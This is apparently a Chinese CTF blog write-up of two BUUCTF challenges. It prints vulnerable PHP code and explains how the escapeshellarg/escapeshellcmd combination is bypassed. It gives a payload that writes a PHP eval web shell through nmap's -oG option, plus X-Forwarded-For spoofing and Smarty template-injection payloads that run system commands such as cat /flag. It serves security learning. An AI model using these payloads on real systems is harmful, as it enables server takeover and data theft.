BUUCTF刷题笔记(十七)

§ [BUUCTF 2018]Online Tool

§ [BJDCTF2020]The mystery of ip

[BUUCTF 2018]Online Tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
?>

host 随便传个 ip 后执行 nmap 命令

escapeshellarg 给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号

escapeshellcmd 反斜线(\)会在以下字符之前插入: & # ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ , \x0A 和 \xFF, ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替

' <?php @eval($_POST["ba2in9a"]);?> -oG ba2in9a.php '

' <?php @eval($_POST["ba2in9a"]);?> -oG ba2in9a.php '

' \<\?php @eval\(\$_POST\[\"ba2in9a\"\]\)\;\?\> -oG ba2in9a.php '

[BJDCTF2020]The mystery of ip

通过 X-Forwarded-For 或 Client-IP 伪造 ip 参数

Smarty SSTI PHP

{$smarty.version}

3.1.34-dev-7

{if phpinfo()}{/if}

{php}phpinfo();{/php} (仅在Smarty3.1的SmartyBC中有效)

X-Forwarded-For: {system(‘cat /flag’)}


BUUCTF刷题笔记(十七)
https://ba2in9a.top/fb8ce200
作者
ba2in9a
发布于
2022年5月14日
更新于
2022年5月18日
许可协议